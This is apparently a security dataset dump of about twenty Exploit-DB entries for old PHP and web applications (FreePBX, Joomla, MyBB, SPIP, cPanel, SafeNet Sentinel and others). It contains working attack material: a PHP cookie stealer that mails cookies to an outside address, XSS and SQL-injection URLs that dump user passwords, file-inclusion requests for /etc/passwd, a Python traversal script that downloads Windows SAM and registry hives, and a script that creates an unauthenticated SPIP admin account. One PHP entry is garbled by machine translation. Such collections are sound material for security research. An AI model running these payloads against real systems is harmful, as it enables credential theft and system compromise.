QLWD/code_shield huggingface dataset:
标题: FreePBX 2.5.2 - Zap Channel Addition Description Parameter Cross-Site Scripting EDB-ID: 33443 CVE: 2009-4458 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/37482/info
 
FreePBX is prone to a cross-site scripting vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
 
FreePBX 2.5.2 is vulnerable; other versions may also be affected. 

<?
$cookie = $_GET['nice'];
$ip = getenv("REMOTE_ADDR");
$Time = date("l dS of F Y h:i:s A");
$msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time";
$subject = "cookie";
mail("notification@global-evolution.info", $subject, $msg);
header ("location: http://127.0.0.1:8080/admin/");
?>


<form name="editZapchandid" action="" method="post" onsubmit="return checkZapchandid(editZapchandid);">
<input type="hidden" name="extdisplay" value="">
<input type="hidden" name="channel" value="">
<input type="hidden" name="action" value="add">
<table><tr><td colspan="2"><h5>Add Channel<hr></h5></td></tr>
<tr><td><a href="#" class="info">Channel:<span>The Zap Channel number to map to a DID</span></a></td>
<td><input size="5" type="text" name="channel" value="" tabindex="1"></td>
</tr><tr><td><a href="#" class="info">Description:<span>A useful description describing this channel</span></a></td>
<td><input size="40" type="text" name="description" value="INSERT 0WN SCRIPTCODE HERE!!!" tabindex="2"></td>
</tr><tr><td><a href="#" class="info">DID:<span>The DID that this channel represents. The incoming call on this channel
will be treated as if it came in with this DID and can be managed with Inbound Routing on DIDs</span></a></td>
<td><input size="40" type="text" name="did" value="" tabindex="3"/></td>
</tr><tr><td colspan="2"><br><input name="Submit" type="submit" value="Submit Changes" tabindex="4">
</td></tr></table></form> URL: https://www.exploit-db.com/exploits/33443
标题: Joomla! Component iF Portfolio Nexus - 'Controller' Remote File Inclusion EDB-ID: 33440 CVE: 2009-4679 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/37473/info

The iF Portfolio Nexus ('com_if_nexus') component for Joomla! is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

The following example URI is available:

http://www.example.com/[Yol]/index.php?option=com_kif_nexus&controller=[-LFI-] URL: https://www.exploit-db.com/exploits/33440
标题: MyBB 1.4.10 - 'myps.php' Cross-Site Scripting EDB-ID: 33439 CVE: 2009-4813 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/37464/info

MyBB is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

MyBB 1.4.10 is vulnerable; other versions may be affected as well.

http://www.example.com/myps.php?action=donate&username="/>

http://www.example.com/myps.php?action=donate&username=<IMG""">"> URL: https://www.exploit-db.com/exploits/33439
标题: PHP-Calendar 1.1 - 'update08.php?configfile' Traversal Local File Inclusion EDB-ID: 33436 CVE: 2009-3702 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/37450/info

PHP-Calendar is prone to multiple remote and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.

PHP-Calendar 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/php-calendar-1.1/update08.php?configfile=//servername/path/to/file.php
http://www.example.com/php-calendar-1.1/update08.php?configfile=ftp://guest:pass@site/path/to/file.php 
http://www.example.com/php-calendar-1.1/update08.php?configfile=/etc/passwd URL: https://www.exploit-db.com/exploits/33436
标题: PHP-Calendar 1.1 - 'update10.php?configfile' Traversal Local File Inclusion EDB-ID: 33437 CVE: 2009-3702 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/37450/info
 
PHP-Calendar is prone to multiple remote and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.
 
PHP-Calendar 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/php-calendar-1.1/update10.php?configfile=\\ip\path\to\file.php
http://www.example.com/php-calendar-1.1/update10.php?configfile=ftp://site/path/to/file.php
http://www.example.com/php-calendar-1.1/update10.php?configfile=/etc/passwd URL: https://www.exploit-db.com/exploits/33437
标题: webMathematica 3 - 'MSP' Script Cross-Site Scripting EDB-ID: 33438 CVE: 2009-4814 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-12-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/37451/info

webMathematica is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/webMathematica/MSP\<script>alert('a')</script> URL: https://www.exploit-db.com/exploits/33438
标题: SafeNet Sentinel Protection Server 7.0 < 7.4 / Sentinel Keys Server 1.0.3 < 1.0.4 - Directory Traversal EDB-ID: 33428 CVE: 2007-6483 类型: WEBAPPS 平台: WINDOWS 发布日期: 2014-05-19 漏洞利用脚本: #!/usr/bin/python
#
# Exploit Title: SafeNet Sentinel Protection Server 7.0 - 7.4 and Sentinel Keys Server 1.0.3 - 1.0.4 Directory Traversal 
# Date: 04/28/2014
# Exploit Author: Matt Schmidt (Syph0n)
# Vendor Homepage: http://www.safenet-inc.com/
# Software Link: http://c3.safenet-inc.com/downloads/2/1/21DAC8BE-72DE-4D32-85D4-6A1FC600581E/Sentinel%20Protection%20Installer%207.4.0.exe
# Version: SafeNet Sentinel Protection Server 7.0.0 through 7.4.0 and Sentinel Keys Server 1.0.3
# Tested on: Windows 7 and Windows XP SP2
# CVE: CVE-2007-6483
# Dork: intitle:"Sentinel Keys License Monitor"
# Greets to norsec0de

import sys, urllib2, argparse

print '\n[+] SafeNet Sentinel Protection Server 7.0 - 7.4 Directory Traversal Exploit'
print '[+] Written by Matt Schmidt (Syph0n)'
print '[+] This script will download the registry hives, boot.ini and win.ini off the Target Windows box'
print '[+] For Windows versions other than Windows XP you will have to append the --file option and specifiy a file\n'


# Define Help Menu
if (len(sys.argv) < 2) or (sys.argv[1] == '-h') or (sys.argv[1] == '--help'):
    print 'Usage:'
    print './exploit.py --host <target> [options]'
    print '    <host>: The victim host\n'
    print '  Options:'
    print '    --port      The port the application is listening on (default: 7002)'
    print '    --file      Path to the desired remote file (ex. windows/repair/sam) without starting slash\n\n'
    sys.exit(1)

# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('--host', required = True)
parser.add_argument('--port', type = int, default = 7002)
parser.add_argument('--file')
args = parser.parse_args()

# Define Variables
host = args.host
port = args.port
if args.file is not None :
 targetFile = [args.file]
else:
 targetFile = ['windows/repair/default', 'windows/repair/sam', 'windows/repair/system', 'windows/repair/software', 'windows/repair/security', 'boot.ini', 'windows/win.ini']

# Send Exploit
print '[+] Sending exploit!'

# Loop for multiple files
for path in targetFile:
 # Define Directory Traversal path
 url = "http://" + host + ":" + str(port) + "/../../../../../../../../../../../../../../" + str(path)
  
 # Retrieve file(s)
 exploit = urllib2.urlopen(url)
 header = exploit.info()
 size = int(header.getheaders("Content-Length")[0])
 print "\n[+] Downloading: C:\%s ! Bytes: %s" % (path, size)
 filename = url.rsplit('/',1)
 with open(str(filename[1]), "wb") as contents:
  contents.write(exploit.read())
print '\n[+] Done!\n' URL: https://www.exploit-db.com/exploits/33428
标题: Kasseler CMS 1.3.4 Lite - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33424 CVE: 2009-4822 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/37435/info

Kasseler CMS is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.

Kasseler CMS 1.3.4 Lite is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?module=[target]&do=View&id="><script>alert();</script>
 
http://www.example.com/index.php?module=[target]&do="><script>alert();</script>
 
http://www.example.com/index.php?module=Account&do=UserInfo&uname="><script>alert();</script> URL: https://www.exploit-db.com/exploits/33424
标题: SPIP CMS < 2.0.23/ 2.1.22/3.0.9 - Privilege Escalation EDB-ID: 33425 CVE: 2013-2118 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-19 漏洞利用脚本: #!/usr/bin/env python
# Exploit Title: SPIP - CMS < 3.0.9 / 2.1.22 / 2.0.23 - Privilege escalation to administrator account from non authenticated user
# Date: 04/30/2014
# Flaw finder : Unknown
# Exploit Author: Gregory DRAPERI
# Email: gregory |dot| draperi |at| gmail |dot| com
# Google Dork : inurl="spip.php"
# Vendor Homepage: www.spip.net
# Software Link: http://files.spip.org/spip/archives/
# Version: SPIP < 3.0.9 / 2.1.22 / 2.0.23
# Tested on: Windows 7 - SPIP 2.2.21
# CVE : CVE-2013-2118
'''
---------------------------------------------------------------------------------------------------------
Software Description:
SPIP is a free software content management system
---------------------------------------------------------------------------------------------------------
Vulnerability Details:
This vulnerability allows remote attackers to create an administrator account on the CMS without being authenticated.
To exploit the flaw, a SMTP configuration has to be configured on SPIP because the password is sent by mail.

'''
import urllib, urllib2
import cookielib
import sys
import re

def send_request(urlOpener, url, post_data=None):
   request = urllib2.Request(url)
   url = urlOpener.open(request, post_data)
   return url.read()

if len(sys.argv) < 4:
   print "SPIP < 3.0.9 / 2.1.22 / 2.0.23 exploit by Gregory DRAPERI\n\tUsage: python script.py <SPIP base_url> <login> <mail>"
   exit()

base_url = sys.argv[1]
login = sys.argv[2]
mail = sys.argv[3]

cookiejar = cookielib.CookieJar()
urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))


formulaire = send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo")
print "[+] First request sended..."


m = re.search("<input name='formulaire_action_args' type='hidden'\n[^>]*", formulaire)
m = re.search("(?<=value=')[\w\+/=]*",m.group(0));


formulaire_data = {'var_ajax' : 'form',
                   'page' : 'identifiants',
                   'mode' : '0minirezo',
       'formulaire_action' : 'inscription',
       'formulaire_action_args' : m.group(0),
       'nom_inscription' : login,
       'mail_inscription' : mail,
       'nobot' : ''
                  }
formulaire_data = urllib.urlencode(formulaire_data)


send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo", formulaire_data)
print "[+] Second request sended"


print "[+] You should receive an email with credentials soon :) " URL: https://www.exploit-db.com/exploits/33425
标题: F3Site 2009 - '/mod/poll.php?GLOBALS[nlang]' Traversal Local File Inclusion EDB-ID: 33419 CVE: 2009-4435 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/37408/info

F3Site is prone to multiple local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

F3Site 2009 is vulnerable; other versions may also be affected. 

http://www.example.com/mod/poll.php?GLOBALS[nlang]=[LFI%00] URL: https://www.exploit-db.com/exploits/33419
标题: iSupport 1.8 - 'index.php?which' Cross-Site Scripting EDB-ID: 33412 CVE: 2009-4433 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/37380/info
 
iDevSpot iSupport is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
iSupport 1.8 and prior versions are vulnerable.

http://www.example.com/helpdesk/index.php?include_file=knowledgebase_list.php&x_category=PARENT_CATEGORY&which=%3Cscript%3Ealert%28/XSS/.source%29%3C/script%3E URL: https://www.exploit-db.com/exploits/33412
标题: F3Site 2009 - '/mod/new.php?GLOBALS[nlang]' Traversal Local File Inclusion EDB-ID: 33420 CVE: 2009-4435 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/37408/info
 
F3Site is prone to multiple local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
F3Site 2009 is vulnerable; other versions may also be affected. 

http://www.example.com/mod/new.php?GLOBALS[nlang]=[LFI%00] URL: https://www.exploit-db.com/exploits/33420
标题: cPanel 11.x - 'fileop' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33417 CVE: 2009-4823 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/37394/info

cPanel is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

cPanel versions prior to 11.25.0 are affected. 


http://www.example.com:2082/frontend/x3/files/fileop.html?opdir=[PATH]&opfile=[FILENAME]&fileop=XSS

http://www.example.com:2082/frontend/x3/files/dofileop.html?fileop=&opdir=&opfile=&dir=%2fhome%2fuser%2ftmp&fileop=HaCkED%20by%20RENO URL: https://www.exploit-db.com/exploits/33417
标题: Drupal Module Sections 5.x-1.2/6.x-1.2 - HTML Injection EDB-ID: 33410 CVE: 2009-4429 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/37371/info

The Sections module for Drupal is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

To exploit this issue, the attacker must have 'administer sections' permissions.

Versions prior to Sections 5.x-1.3 and 6.x-1.3 are vulnerable. 

The following example input is available:

<script>alert('xss');</script> URL: https://www.exploit-db.com/exploits/33410
标题: Joomla! Component com_joomportfolio - 'secid' SQL Injection EDB-ID: 33418 CVE: 2009-4428 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/37403/info

The 'com_joomportfolio' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_joomportfolio&Itemid=552&task=showcat&catid=1&secid=1/**/and/**/1=0/**/union/**/select/**/concat(username,0x3a,password),user()/**/from/**/jos_users/**/ URL: https://www.exploit-db.com/exploits/33418
标题: iSupport 1.8 - 'ticket_function.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33411 CVE: 2009-4433 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/37380/info

iDevSpot iSupport is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

iSupport 1.8 and prior versions are vulnerable.

http://www.example.comhelpdesk/function.php?which=%3Cscript%3Ealert%28/XSS/.source%29%3C/script%3E URL: https://www.exploit-db.com/exploits/33411
标题: PHP 5.2.11 - 'htmlspecialCharacters()' Malformed Multibyte Character Cross-Site Scripting (2) EDB-ID: 33415 CVE: 2009-4142 类型: REMOTE 平台: PHP 发布日期: 2009-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/37389/info
 
PHP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
NOTE: In some configurations, attackers may exploit this issue to carry out HTML-injection attacks.
 
Versions prior to PHP 5.2.12 are vulnerable. 

<? php

$ _GET [ &#039; a1 &#039; ] = " \xf0 "; // \xf0 - \xfc で可能 $ _GET [ &#039;A1&#039;] = "\ xf0"; / / \ xf0 - \ xfc possible
$ _GET [ &#039; a2 &#039; ] = "  href=dummy onmouseover=alert(document.title) dummy=dummy "; $ _GET [ &#039;A2&#039;] = "href = dummy onmouseover = alert (document.title) dummy = dummy";

header ( " Content-Type:text/html; charset=Shift_JIS " ) ; header ( "Content-Type: text / html; charset = Shift_JIS");
?> ? "
< html > <Html>
< head >< title > Shift_JIS test </ title ></ head > <Head> <title> Shift_JIS test </ title> </ head>
< body > <Body>
< p >< a <P> <a   title = " <?php echo htmlspecialchars ( $ _GET [ &#039; a1 &#039; ] , ENT_QUOTES, &#039; SJIS &#039; ) ?> " title = "<? php echo htmlspecialchars ($ _GET [ &#039;a1&#039;], ENT_QUOTES, &#039;SJIS&#039;)?>"   href = " <?php echo htmlspecialchars ( $ _GET [ &#039; a2 &#039; ] , ENT_QUOTES, &#039; SJIS &#039; ) ?> " > test </ a ></ p > href = "<? php echo htmlspecialchars ($ _GET [ &#039;a2&#039;], ENT_QUOTES, &#039;SJIS&#039;)?>"> test </ a> </ p>
</ body > </ Body>
</ html > </ Html> URL: https://www.exploit-db.com/exploits/33415
标题: PHP 5.2.11 - 'htmlspecialCharacters()' Malformed Multibyte Character Cross-Site Scripting (1) EDB-ID: 33414 CVE: 2009-4142 类型: REMOTE 平台: PHP 发布日期: 2009-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/37389/info

PHP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

NOTE: In some configurations, attackers may exploit this issue to carry out HTML-injection attacks.

Versions prior to PHP 5.2.12 are vulnerable. 

// overlong UTF-8 sequence
echo htmlspecialchars("A\xC0\xAF&",     ENT_QUOTES, 'UTF-8');
// invalid Shift_JIS sequence
echo htmlspecialchars("B\x80&",         ENT_QUOTES, 'Shift_JIS');
echo htmlspecialchars("C\x81\x7f&",     ENT_QUOTES, 'Shift_JIS');
// invalid EUC-JP sequence
echo htmlspecialchars("D\x80&",         ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("E\xA1\xFF&",     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("F\x8E\xFF&",     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, 'EUC-JP'); URL: https://www.exploit-db.com/exploits/33414
标题: Horde 3.3.5 - '/Administration Interface admin/sqlshell.php?PATH_INFO' Cross-Site Scripting EDB-ID: 33408 CVE: 2009-3701 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/37351/info
  
Horde Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
This issue affects versions prior to Horde 3.3.6.
  
Note that additional products that use the Horde framework may also be vulnerable. 

http://www.example.com/horde-3.3.5/admin/sqlshell.php/%22%3E%3Cscript%3Ealert%288%29;%3C/script%3E%3Cform%20/?Horde=&lt;sessid&gt; URL: https://www.exploit-db.com/exploits/33408